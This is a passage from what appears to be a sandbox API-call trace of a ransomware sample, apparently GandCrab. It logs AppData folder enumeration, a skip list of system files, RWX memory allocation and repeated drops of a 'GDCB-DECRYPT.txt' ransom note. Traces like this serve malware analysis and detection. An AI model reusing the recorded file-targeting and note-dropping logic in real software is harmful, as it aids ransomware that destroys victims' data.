lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0135.558] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.558] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0135.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0135.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0135.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0135.558] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0135.558] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.558] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.558] lstrcmpW (lpString1="Excel 2016.lnk", lpString2=".") returned 1 [0135.558] lstrcmpW (lpString1="Excel 2016.lnk", lpString2="..") returned 1 [0135.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Excel 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk" [0135.558] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.558] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned 113 [0135.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned 113 [0135.558] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.558] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.558] lstrcmpW (lpString1="File Explorer.lnk", lpString2=".") returned 1 [0135.558] lstrcmpW (lpString1="File Explorer.lnk", lpString2="..") returned 1 [0135.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" [0135.558] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.559] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned 116 [0135.559] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned 116 [0135.559] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.559] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.559] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.559] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.559] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt" [0135.559] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.559] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0135.559] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0135.559] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0135.559] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.559] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.559] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.559] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.559] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1 [0135.559] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1 [0135.560] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" [0135.560] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.560] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 118 [0135.560] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 118 [0135.560] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.560] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.560] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2=".") returned 1 [0135.560] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2="..") returned 1 [0135.560] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="OneNote 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk" [0135.560] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.560] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned 115 [0135.560] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned 115 [0135.560] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.560] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.560] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2=".") returned 1 [0135.560] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2="..") returned 1 [0135.560] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Outlook 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk" [0135.560] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.560] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned 115 [0135.561] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned 115 [0135.561] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.561] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.561] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2=".") returned 1 [0135.561] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2="..") returned 1 [0135.561] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="PowerPoint 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk" [0135.561] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.561] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned 118 [0135.561] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned 118 [0135.561] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.561] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.561] lstrcmpW (lpString1="Project 2016.lnk", lpString2=".") returned 1 [0135.561] lstrcmpW (lpString1="Project 2016.lnk", lpString2="..") returned 1 [0135.561] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Project 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk" [0135.561] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.561] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned 115 [0135.561] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned 115 [0135.561] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.562] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.562] lstrcmpW (lpString1="Visio 2016.lnk", lpString2=".") returned 1 [0135.562] lstrcmpW (lpString1="Visio 2016.lnk", lpString2="..") returned 1 [0135.562] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Visio 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk" [0135.562] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.562] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned 113 [0135.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned 113 [0135.562] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.562] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.562] lstrcmpW (lpString1="Word 2016.lnk", lpString2=".") returned 1 [0135.562] lstrcmpW (lpString1="Word 2016.lnk", lpString2="..") returned 1 [0135.562] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Word 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk" [0135.562] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.562] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned 112 [0135.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned 112 [0135.562] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.562] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0135.562] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.562] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.562] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.563] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.563] lstrcmpW (lpString1="Window Switcher.lnk", lpString2=".") returned 1 [0135.563] lstrcmpW (lpString1="Window Switcher.lnk", lpString2="..") returned 1 [0135.563] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Window Switcher.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0135.563] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.563] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 98 [0135.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 98 [0135.563] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.563] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.563] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.563] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.563] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0135.563] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0135.563] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0135.563] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\" [0135.563] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.563] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.563] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.563] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.563] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.563] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.564] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned 75 [0135.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*" [0135.564] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7680 [0135.564] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.564] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.564] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.564] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.564] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.564] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.564] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt" [0135.564] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0135.564] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.564] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.564] lstrcmpW (lpString1="Low", lpString2=".") returned 1 [0135.564] lstrcmpW (lpString1="Low", lpString2="..") returned 1 [0135.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0135.564] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned 78 [0135.564] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.564] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.564] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.565] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\GDCB-DECRYPT.txt") returned 92 [0135.565] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.565] GetLastError () returned 0x50 [0135.565] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.565] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned 75 [0135.565] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*" [0135.565] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7680 [0135.565] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.565] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.565] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.566] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.566] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.566] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.566] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.566] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt" [0135.566] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.566] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0135.566] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\GDCB-DECRYPT.txt") returned 91 [0135.566] lstrlenW 